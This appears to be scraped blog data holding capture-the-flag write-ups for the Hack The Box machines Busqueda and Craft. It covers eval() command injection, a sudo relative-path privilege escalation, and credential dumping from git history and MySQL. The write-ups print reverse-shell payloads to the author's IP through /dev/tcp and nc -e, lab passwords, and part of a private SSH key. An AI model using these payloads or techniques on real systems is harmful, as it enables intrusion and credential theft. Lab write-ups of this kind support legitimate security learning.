(Server-Side Template Injection) method. SSTI is a vulnerability when user input is injected into a template engine (Flask uses one) to execute a payload as a template code. Template code is used to generate dynamic text like Hello {{username}}! to get Hello Azaeir! and such. I googled and found few payloads, interestingly when I run one of them it changed the response behavior. Weirdly enough engine=DuckDuckGo\u0026amp;query=\u0026lt;SSTI payload\u0026gt; and engine=DuckDuckGo\u0026amp;query=' both give the same empty response. This could be a strong error-based SSTI detection indicator or me just breaking the sites logic.\nI tried a lot of different payloads and approaches to influence the template engine to no avail. I noticed that ' symbol is the one that makes the response blank. I was hoping that it was escaping some placeholder, script, or a function but I think even if it does, I can\u0026rsquo;t seem to take advantage of it.\nFoothold As I felt that I have fallen into a small rabbit hole with it, I decided to scope out of it and look for some public exploits. Wappalyzer found a lot of different components of the website so I went through some of them and Flask itself too. I found some GitHub repos taking about an exploit (Arbitrary CMD Injection) for Searchor 2.4.0 and 2.4.2, this could be what I\u0026rsquo;m looking for.\nReading up on the vulnerability, it comes from a vulnerable eval() function which is really funny as I just did the Craft machine which also took advantage of this insecure function!\nSo, I cloned this exploit to my local machine, run nc -lnvp 1337 and followed the syntax mentioned in the repository and in the script contents and got shell on the target host. What is actually pretty interesting about this shell is that it uses python as an execution method evil_cmd=\u0026quot;',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment\u0026quot; for a payload which is actually in encoded bash rev_shell_b64=$(echo -ne \u0026quot;bash -c 'bash -i \u0026gt;\u0026amp; /dev/tcp/$2/${port} 0\u0026gt;\u0026amp;1'\u0026quot; | base64).\nsvc On the target machine I was spawned in as a svc user. I looked manually for some interesting information, found the user flag but nothing at /home gave me way further although there was a .git file on it. I went back into the home directory of the user at /var/www/app and looked around for some other possible priv-esc vectors. In those files I found a .git folder which holds an initial repo commit data. In this data, I found a config file which hold a url that links the local repository with a remote one. This link hold embedded credentials for the user cody.\ncody:jh1usoih2bkjaspwe92\nI suspect that similar simple security vectors finally made Microsoft enforce a token authentication within GitHub. Besides the credentials we can also see another subdomain gitea.searcher.htb. I will add it into /etc/hosts just in case.\nPrivilege Escalation Cody Let\u0026rsquo;s try to authenticate into SSH with the new credentials and hope that the user reused their creds. Sadly they didn\u0026rsquo;t work on SSH but I accessed gitea.searcher.htb via browser and authenticated as cody - it went through.\nGitea seems to be a self-hosted git platform, similar to gogs - which is another similarity to Craft On it, I found a repository where cody and Administrator worked on the searcher webapp. I reviewed the code thoroughly, logic that is used to POST the search request looks quite vulnerable at the first glace.\nif engine in Engine.__members__.keys(): arg_list = [\u0026#39;searchor\u0026#39;, \u0026#39;search\u0026#39;, engine, query] r = subprocess.run(arg_list, capture_output=True) url = r.stdout.strip().decode() The script uses subprocesses library in Python which is generally used to call and execute other tools on the host like nc to make a script run a listener. This script takes user\u0026rsquo;s input (\u0026ldquo;engine\u0026rdquo; and \u0026ldquo;query\u0026rdquo;) and uses it to run the searchor, then returns its output (or redirects to it) without validating how that tool handles the input. The vulnerable part here is that there are no filters for a user, it supplies user input directly into the function\u0026rsquo;s logic.\nI tried to test some payloads but none of them worked, unfortunately it looks like It won’t work. subprocess.run passes the input as a literal argument no matter what I put in there and not matter how I try to escape it. My payloads won\u0026rsquo;t get executed unless searchor itself would somehow mishandle them internally but that didn\u0026rsquo;t happen.\nI decided to scope out from the gitea and try to do some more priv-esc enumeration before I ran any automated tools. Running sudo -l -S I got some information.\nMatching Defaults entries for svc on busqueda: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User svc may run the following commands on busqueda: (root) /usr/bin/python3 /opt/scripts/system-checkup.py * It looks like my correct user has full root rights over the /opt/scripts/system-checkup.py python scripts.\nsudo -S /usr/bin/python3 /opt/scripts/system-checkup.py -h \u0026lt;SNIP\u0026gt; Usage: /opt/scripts/system-checkup.py \u0026lt;action\u0026gt; (arg1) (arg2) docker-ps : List running docker containers docker-inspect : Inpect a certain docker container full-checkup : Run a full system checkup Reading up on the help page, I can see that I can enumerate running containers.\nsvc@busqueda:/$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps \u0026lt;in/python3 /opt/scripts/system-checkup.py docker-ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 960873171e2e gitea/gitea:latest \u0026#34;/usr/bin/entrypoint…\u0026#34; 3 years ago Up 24 hours 127.0.0.1:3000-\u0026gt;3000/tcp, 127.0.0.1:222-\u0026gt;22/tcp gitea f84a6b33fb5a mysql:8 \u0026#34;docker-entrypoint.s…\u0026#34; 3 years ago Up 24 hours 127.0.0.1:3306-\u0026gt;3306/tcp, 33060/tcp mysql_db Seeing the mysql_db container I looked up what data can be actually inspected, \u0026ldquo;.Config.Env\u0026rdquo; is a metadata field which gives basic configuration information and present variables of the container. I tried to run it like that sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect .Config.Env mysql_db but it didn\u0026rsquo;t work. I tried sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect \u0026quot;.Config.Env\u0026quot; mysql_db but it also didn\u0026rsquo;t work. Finally I found that in Go language, metadata is also parsed with double {\u0026rsquo;s so I tried with them sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{.Config.Env}} mysql_db and it worked.\nInside, I actually found some credentials - \u0026ldquo;MYSQL_ROOT_PASSWORD\u0026rdquo;, \u0026ldquo;MYSQL_USER\u0026rdquo; and \u0026ldquo;MYSQL_PASSWORD\u0026rdquo;.\nsvc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect \u0026#34;{{.Config.Env}}\u0026#34; mysql_db \u0026lt;heckup.py docker-inspect \u0026#34;{{.Config.Env}}\u0026#34; mysql_db [MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF MYSQL_USER=gitea MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh MYSQL_DATABASE=gitea PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin GOSU_VERSION=1.14 MYSQL_MAJOR=8.0 MYSQL_VERSION=8.0.31-1.el8 MYSQL_SHELL_VERSION=8.0.31-1.el8] I assume that this is how the credentials should be related.\ngitea:yuiu1hoiu4i5ho1uh root:jI86kGUuj87guWr3RyF I tried to connect to the database with this command, but it didn\u0026rsquo;t work mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 which is unusual. Then I tried mysql -u gitea -p -h 127.0.0.1 -P 3306 to no avail.\nI gave up on connecting to the mysql directly, this could be an issue with my shell and spawning another tool locally, so I just run commands one-by-one like so:\nsvc@busqueda:/var/www/app$ mysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e \u0026#34;SHOW DATABASES;\u0026#34; \u0026lt;SNIP\u0026gt; Database gitea information_schema performance_schema Then I looked at the tables:\nmysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e \u0026#34;USE gitea; SHOW TABLES;\u0026#34; \u0026lt;SNIP\u0026gt; watch webauthn_credential webhook And enumerated user data:\nmysql -u gitea -pyuiu1hoiu4i5ho1uh -h 127.0.0.1 -P 3306 -e \u0026#34;USE gitea; SELECT * FROM user\u0026#34;; The information came out really scuffed, so I spent some time formatting it to be actually readable.\nid\tlower_name\tname\tfull_name\temail\tkeep_email_private\temail_notifications_preference\tpasswd\tpasswd_hash_algo\tmust_change_password\tlogin_type\tlogin_source\tlogin_nametype\tlocation\twebsite\trands\tsalt\tlanguage\tdescription\tcreated_unix\tupdated_unix\tlast_login_unix\tlast_repo_visibility\tmax_repo_creation\tis_active\tis_admin\tis_restricted\tallow_git_hook\tallow_import_local\tallow_create_organization\tprohibit_login\tavatar\tavatar_email\tuse_custom_avatar\tnum_followers\tnum_following\tnum_stars\tnum_reposnum_teams\tnum_members\tvisibility\trepo_admin_change_team_access\tdiff_view_style\ttheme\tkeep_activity_private 1\tadministrator\tadministrator\tadministrator@gitea.searcher.htb\t0\tenabled\tba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2\tpbkdf2\t0\t0\t0\t0\t44748ed806accc9d96bf9f495979b742\ta378d3f64143b284f104c926b8b49dfb\ten-US\t1672857920\t1680531979\t1673083022\t1-1\t1\t1\t0\t0\t0\t1\t0\tadministrator@gitea.searcher.htb\t0\t0\t0\t0\t1\t0\t0\t0\t0\tauto\t0 2\tcody\tcody\tcody@gitea.searcher.htb\t0\tenabled\tb1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e\tpbkdf2\t0\t0\t0\t0304b5a2ce88b6d989ea5fae74cc6b3f3\td1db0a75a18e50de754be2aafcad5533\ten-US\t1672858006\t1680532283\t1680532243\t1\t-1\t1\t0\t0\t0\t0\t1\t0cody@gitea.searcher.htb\t0\t0\t0\t0\t1\t0\t0\t0\t0\tauto\t0 Here\u0026rsquo;s the data in a table:\nID Name Email Password Algorithm Salt 1 administrator administrator@gitea.searcher.htb ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2 pbkdf2 a378d3f64143b284f104c926b8b49dfb 2 cody cody@gitea.searcher.htb b1f895e8efe070e184e5539bc5d93b362b246db67f3a2b6992f37888cb778e844c0017da8fe89dd784be35da9a337609e82e pbkdf2 d1db0a75a18e50de754be2aafcad5533 What I see here are PBKDF2-HMAC-SHA256 password hashes. I have the password itself, algorythm mentioned and salt but I do not know the amount of the hashing iterations the passwords went through. This information is important to be able to actually crack the password. From my googling it seems like 50000 iterations is a standard. hashcat -m 10900 'sha256:50000:a378d3f64143b284f104c926b8b49dfb:ba598d99c2202491d36ecf13d5c28b74e2738b07286edc7388a2fc870196f6c4da6565ad9ff68b1d28a31eeedb1554b5dcc2' wordlist.txt I ran this for a long time but nothing came out and it took too long so I pivoted to other possible vectors.\nI thought of xp_cmdshell but it\u0026rsquo;s only on MSSQL and not on MySQLs. I tried reading and writing files but It didn\u0026rsquo;t work. I checked it with mysql -u root -pjI86kGUuj87guWr3RyF -h 127.0.0.1 -P 3306 -e \u0026quot;show variables like 'secure_file_priv'\u0026quot;; and it looks that mysql is restricted to only read and write files in /var/lib/mysql-files/.\nAdministrator Quite disappointingly I ran out of ideas and tried to authenticate with the credentials I have to SSH and later to Gitea. Turns out that Administrator:yuiu1hoiu4i5ho1uh is a valid combo. This is a bit weird as the \u0026ldquo;root\u0026rdquo; password for the DB is different. I guess this just shows that it\u0026rsquo;s important to check every possible combination of acquired credentials.\nI was able to access administrators gitea and enumerate the scripts inside, the one inside is system-checkup.py. From the code I learned that the scripts looks for a relative path when running full-checkup and want to run ./full-checkup.py.\nI can create a bash reverse shell and rename it to full-checkup.py so that the script reads and executes my shell in process elevating my privileges. First I create the payload with echo -N \u0026quot;bash -c 'bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.15.189/1338 0\u0026gt;\u0026amp;1;'\u0026quot; \u0026gt; full-checkup.sh change permissions so that it can be executed chmod +x full-checkup.sh and lastly I start a listener with nc -lnvp 1338.\nThen when I run sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup and get a shell as root.\nClosing Thoughts Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It\u0026rsquo;s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!\n","date":"06.04.2026","externalUrl":null,"permalink":"/posts/htb/busqueda/","section":"Posts","summary":"Busqueda introduces a solid code review exercise, working with repositories and custom scripts. It’s heavy on careful code enumeration and gradual pivoting granting further access. Very fun and insightful!","title":"Busqueda","type":"posts"},{"content":"","date":"06.04.2026","externalUrl":null,"permalink":"/tags/docker/","section":"Tags","summary":"","title":"Docker","type":"tags"},{"content":"","date":"06.04.2026","externalUrl":null,"permalink":"/tags/gitea/","section":"Tags","summary":"","title":"Gitea","type":"tags"},{"content":"","date":"06.04.2026","externalUrl":null,"permalink":"/tags/mysql/","section":"Tags","summary":"","title":"Mysql","type":"tags"},{"content":"","date":"06.04.2026","externalUrl":null,"permalink":"/tags/pbkdf2/","section":"Tags","summary":"","title":"Pbkdf2","type":"tags"},{"content":"","date":"04.04.2026","externalUrl":null,"permalink":"/tags/api/","section":"Tags","summary":"","title":"Api","type":"tags"},{"content":" Enumeration nmap I started my nmap scan with sudo nmap -sC -sV -O -Pn 10.129.21.109; sleep 5; sudo nmap -p- -Pn 10.129.21.109; sleep 5; sudo nmap -sU -Pn 10.129.21.109\nnmap scan results Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:39 CEST Nmap scan report for 10.129.21.109 Host is up (0.028s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) | 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) |_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/2%OT=22%CT=1%CU=31105%PV=Y%DS=2%DC=I%G=Y%TM=69CE8DD5 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ( OS:SP=103%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=108%TI=Z%C OS:I=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GC OS:D=2%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E OS:2NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88% OS:W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD= OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40 OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:40 CEST Nmap scan report for 10.129.21.109 Host is up (0.029s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 443/tcp open https 6022/tcp open x11 Nmap done: 1 IP address (1 host up) scanned in 14.11 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-02 17:40 CEST Nmap scan report for 10.129.21.109 Host is up (0.029s latency). Not shown: 999 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc Nmap done: 1 IP address (1 host up) scanned in 1008.69 seconds Port - 6022 I accessed the port 6022 and found this info in a simple clear text\nSSH-2.0-Go ��\u0001ü\u0004\u0014\u001b)¹\u0013)“\u00103bU\u0002=²\u000b¤���Œcurve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1���\u0007ssh-rsa���Maes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128���Maes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128���Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96���Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96���\u0004none���\u0004none�������������\u0012bq¯ Speed guide shows that port 6022 belong to the x11 service which is an X Window System. \u0026ldquo;The X Window System is a windowing system for bitmap displays, common on Unix-like operating systems.\u0026rdquo; ~ Wikipedia Here is a good read on the basic concept of x11.\ncraft.htb The website on 443 at first didn\u0026rsquo;t work for me but now I can view it. Front page suggest that we will work with some API calls. both menu options use two new subdomains \u0026ldquo;api.craft.htb\u0026rdquo; and \u0026ldquo;gogs.craft.htb\u0026rdquo;. I will add them to my /etc/hosts and run ffuf to look for any other subdomains and to enumerate directories. ffuf -u https://craft.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 291 ffuf -u https://craft.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H \u0026quot;Host: FUZZ.craft.htb\u0026quot; -fs 3779\nI also didn\u0026rsquo;t find any comments on the main website, it does use nginx 1.15.8.\napi subdomain hosts different api calls. Two interesting one are authentication check to check validity of an authorization token and the authentication login to create the said token. gogs is a local git repo tools. I found some users related to it\nadministrator ebachman Erlich Bachman dinesh Dinesh Chugtai gilfoyle Bertram Gilfoyle I suspect there will be some API keys, tokens or creds in the repository by accident. I found a discussion about adding bogus ABV values; it was partially patched but still seems insecure, making it a potential attack vector for exploring API behavior.\nFoothold I this issue we can see this command holding a JWT token (JSON Web Token). curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H \u0026quot;Content-Type: application/json\u0026quot; -k -X POST https://api.craft.htb/api/brew/ --data '{\u0026quot;name\u0026quot;:\u0026quot;bullshit\u0026quot;,\u0026quot;brewer\u0026quot;:\u0026quot;bullshit\u0026quot;, \u0026quot;style\u0026quot;: \u0026quot;bullshit\u0026quot;, \u0026quot;abv\u0026quot;: \u0026quot;15.0\u0026quot;)}'\nThese tokens have three parts:\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 - Header eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0 - Payload wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw - Signature Depending on the cryptographic in place I could crack it, but I\u0026rsquo;d need to look into that more. Let\u0026rsquo;s check other information that we can find.\nLater on that issue one of the users shows a commit with this patch which another developer find bad\n+ # make sure the ABV value is sane. + if eval(\u0026#39;%s \u0026gt; 1\u0026#39; % request.json[\u0026#39;abv\u0026#39;]): + return \u0026#34;ABV must be a decimal value less than 1.0\u0026#34;, 400 + else: + create_brew(request.json) + return None, 201 This is Python script, it checks if the user provided \u0026ldquo;abv\u0026rdquo; input is higher than 1, and depending on result of this check creates given outcomes. There are two interesting parts of the script for us. It uses eval() which is a known dangerous function in a number of different programming languages.It\u0026rsquo;s dangerous because it runs string data as an executable instruction. The second interesting part is that request.json['abv']) plainly outputs unfiltered user output into the command. Both of these weakness are bad on their own as one gives a possibility of command execution and another of command injection. Together they are a really great foothold opportunity.\nparrot@parrot (~): curl -H \u0026#39;X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw\u0026#39; -H \u0026#34;Content-Type: application/json\u0026#34; -k -X POST https://api.craft.htb/api/brew/ --data \u0026#39;{\u0026#34;name\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;brewer\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;style\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;abv\u0026#34;:\u0026#34;__import__(\\\u0026#34;os\\\u0026#34;).system(\\\u0026#34;id\\\u0026#34;)\u0026#34;}\u0026#39; {\u0026#34;message\u0026#34;: \u0026#34;Invalid token or no token found.\u0026#34;} To try and attempt to exploit this vulnerability I\u0026rsquo;d have to have a valid token, meaning I\u0026rsquo;d have to find a not expired one in the wild or generate one which requires credentials.\nI looked through the issues, repository and finally the commits and found some accidentally pushed credentials - dinesh:4aUh0A8PbVJxgd.\nI used them to create my token request at the api dashboard.\nTOKEN=$(curl -s -k -X GET \u0026#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login\u0026#34; -H \u0026#34;accept: application/json\u0026#34; | jq -r \u0026#39;.token\u0026#39;) Now when I try to exploit the vulnerable code my token goes through and I can test my injection payloads.\ncurl -H \u0026#39;X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzc1MjA2MjQzfQ.1MRivtSjMK8IJKagIWHZRtp7M_632Rhp0vEk84UKYmU\u0026#39; -H \u0026#34;Content-Type: application/json\u0026#34; -k -X POST https://api.craft.htb/api/brew/ --data \u0026#39;{\u0026#34;name\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;brewer\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;style\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;abv\u0026#34;:\u0026#34;__import__(\u0026#34;os\u0026#34;).system(\u0026#34;id\u0026#34;)\u0026#34;}\u0026#39; This works too:\nTOKEN=$(curl -s -k -X GET \u0026#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login\u0026#34; -H \u0026#34;accept: application/json\u0026#34; | jq -r \u0026#39;.token\u0026#39;); \\ curl -X POST \u0026#34;https://api.craft.htb/api/brew/\u0026#34; -H \u0026#34;accept: application/json\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#34;{ \\\u0026#34;id\\\u0026#34;: 0, \\\u0026#34;brewer\\\u0026#34;: \\\u0026#34;0xdf\\\u0026#34;, \\\u0026#34;name\\\u0026#34;: \\\u0026#34;beer\\\u0026#34;, \\\u0026#34;style\\\u0026#34;: \\\u0026#34;bad\\\u0026#34;, \\\u0026#34;abv\\\u0026#34;: \\\u0026#34;__import__(\u0026#39;os\u0026#39;).system(\u0026#39;nc 10.10.15.189 1337 -e /bin/sh\u0026#39;)\\\u0026#34;}\u0026#34; -k -H \u0026#34;X-CRAFT-API-TOKEN: $TOKEN\u0026#34; And this, finally works!\nTOKEN=$(curl -s -k -X GET \u0026#34;https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login\u0026#34; -H \u0026#34;accept: application/json\u0026#34; | jq -r \u0026#39;.token\u0026#39;); \\ curl -X POST \u0026#34;https://api.craft.htb/api/brew/\u0026#34; -H \u0026#34;accept: application/json\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;id\u0026#34;:0,\u0026#34;brewer\u0026#34;:\u0026#34;0xdf\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;beer\u0026#34;,\u0026#34;style\u0026#34;:\u0026#34;bad\u0026#34;,\u0026#34;abv\u0026#34;:\u0026#34;__import__(\\\u0026#34;os\\\u0026#34;).system(\\\u0026#34;nc 10.10.15.189 1337 -e /bin/sh\\\u0026#34;)\u0026#34;}\u0026#39; -k -H \u0026#34;X-CRAFT-API-TOKEN: $TOKEN\u0026#34; I had a surprising amount of problems with quotation marks and escaping them correctly. I spent a lot of time tweaking these commands and breaking down the api logic locally.\nFor practice and better understanding of working with API, HTTP requests and Python I created a working script that exploits this vulnerability. The only requirements are to add api.craft.htb into the /etc/hosts and python3 to run it - you can view it on my Codeberg.\nroot With this behind us we got a limited shell of the 5a3d243127f5 host on which we are root. Looking the root directory we can see the .dockerenv folder hinting that we\u0026rsquo;re inside of a container. Manual enumeration doesn\u0026rsquo;t show any interesting vectors besides the webapp files. In them we find dbtest.py which is a file we saw on gogs, it creates a query to a db from the POST data it gets. Database details like the credentials, destination and it\u0026rsquo;s name are said to be in some settings file. Moving into craft_api folder we can indeed find it. Inside, we can find the database details and a service token.\nMYSQL_DATABASE_USER = \u0026#39;craft\u0026#39; MYSQL_DATABASE_PASSWORD = \u0026#39;qLGockJ6G2J75O\u0026#39; CRAFT_API_SECRET = \u0026#39;hz66OCkDtv8G6D\u0026#39; craft I first tried to use mysql locally - but it isn\u0026rsquo;t installed - and call it remotely with mysql -u craft -pqLGockJ6G2J75O -h 10.129.22.88 - but this doesn\u0026rsquo;t work and hangs my shell. This is because the database isn\u0026rsquo;t local, it\u0026rsquo;s in fact on the db host which I assume is the Docker daemon. Due to the fact that my shell is connected to a simple web request it\u0026rsquo;s limited by the timeout time of the web server which is approximately 60 seconds. Due to that limitation, I was thinking how to best access the database. As my shell access was somewhat flimsy I didn\u0026rsquo;t want to bother setting up a chisel tunnel and work with transferring files - which also ruled out downloading mysql and similar tooling. What I stumbled upon was pymysql which is a python library for working with sql. As the whole box is somehow very Python for me from start until now, I decided to try it out.\nWith my 60 second window of opportunity I tested my commands and came up with a working one. python -c \u0026quot;import pymysql; c=pymysql.connect(host='db',user='craft',password='qLGockJ6G2J75O',db='craft'); cur=c.cursor(); cur.execute('SHOW TABLES'); print(cur.fetchall())\u0026quot; This command imports pymysql, connects to the database, creates a cursor which is a Python object that channels and sends the SQL queries to the database as well as simply show the queried data. You just need to adjust the query in the cursor and you can fetch any details from the database. Output from the above query showed me that there are two tables brew and user. Of course the latter is more interesting for us, so I ran another query. python -c \u0026quot;import pymysql; c=pymysql.connect(host='db',user='craft',password='qLGockJ6G2J75O',db='craft'); cur=c.cursor(); cur.execute('SELECT * FROM user'); print(cur.fetchall())\u0026quot; Which gave as further credentials:\n((1, \u0026#39;dinesh\u0026#39;, \u0026#39;4aUh0A8PbVJxgd\u0026#39;), (4, \u0026#39;ebachman\u0026#39;, \u0026#39;llJ77D8QFkLPQB\u0026#39;), (5, \u0026#39;gilfoyle\u0026#39;, \u0026#39;ZEU3N8WNM2rh4T\u0026#39;)) Let\u0026rsquo;s try to access SSH with them.\ngilfoyle Sadly both on the normal port 22 and on the SSH via Go port 6022 I was unable to use it. There is however a login form on gogs. I found two public keys for the users, likely for authentication to gogs, nothing special, especially without the private keys.\ndinesh: SHA256:8Fc2kZiv0Y+kjkh8atKr6brzBiM1DoDIhG6LN1ktPfA\ngilfoyle: SHA256:D28DXyVaw0/mPuLBp3mDbS8z6oCRKS1hawJ5gxecFBQ\nDigging further into gilfoyle I found that he had a private repository called craft-infra on which we can find his public and private SSH keys, likely to the dc host. SSH private key parrot@parrot (~/Desktop/htb/machines/craft): cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDD9Lalqe qF/F3X76qfIGkIAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2Z F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIwOcbVK+jB39uqrS zU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS RgV86HoLpQ0sojfGyIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx lLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw pmMxHTQYXn5RN49YJQlaFOZtkEndaSeLz2dEA96EpS5OJl0jzUThAAAD0JwMkipfNFbsLQ B4TyyZ/M/uERDtndIOKO+nTxR1+eQkudpQ/ZVTBgDJb/z3M2uLomCEmnfylc6fGURidrZi 4u+fwUG0Sbp9CWa8fdvU1foSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMHZVfVsys9+mLJMAq Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ 3MtOdhGiPxFvnMoWwJLtqmu4hbNvnI0c4m9fcmCO8XJXFYz3o21Jt+FbNtjfnrIwlOLN6K Uu/17IL1vTlnXpRzPHieS5eEPWFPJmGDQ7eP+gs/PiRofbPPDWhSSLt8BWQ0dzS8jKhGmV ePeugsx/vjYPt9KVNAN0XQEA4tF8yoijS7M8HAR97UQHX/qjbna2hKiQBgfCCy5GnTSnBU GfmVxnsgZAyPhWmJJe3pAIy+OCNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUdsO+J5 0CxC7XoOzvtIMRibis/t/jxsck4wLumYkW7Hbzt1W0VHQA2fnI6t7HGeJ2LkQUce/MiY2F 5TA8NFxd+RM2SotncL5mt2DNoB1eQYCYqb+fzD4mPPUEhsqYUzIl8r8XXdc5bpz2wtwPTE cVARG063kQlbEPaJnUPl8UG2oX9LCLU9ZgaoHVP7k6lmvK2Y9wwRwgRrCrfLREG56OrXS5 elqzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf CuSlT+bniz2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqElTpY4TtZa 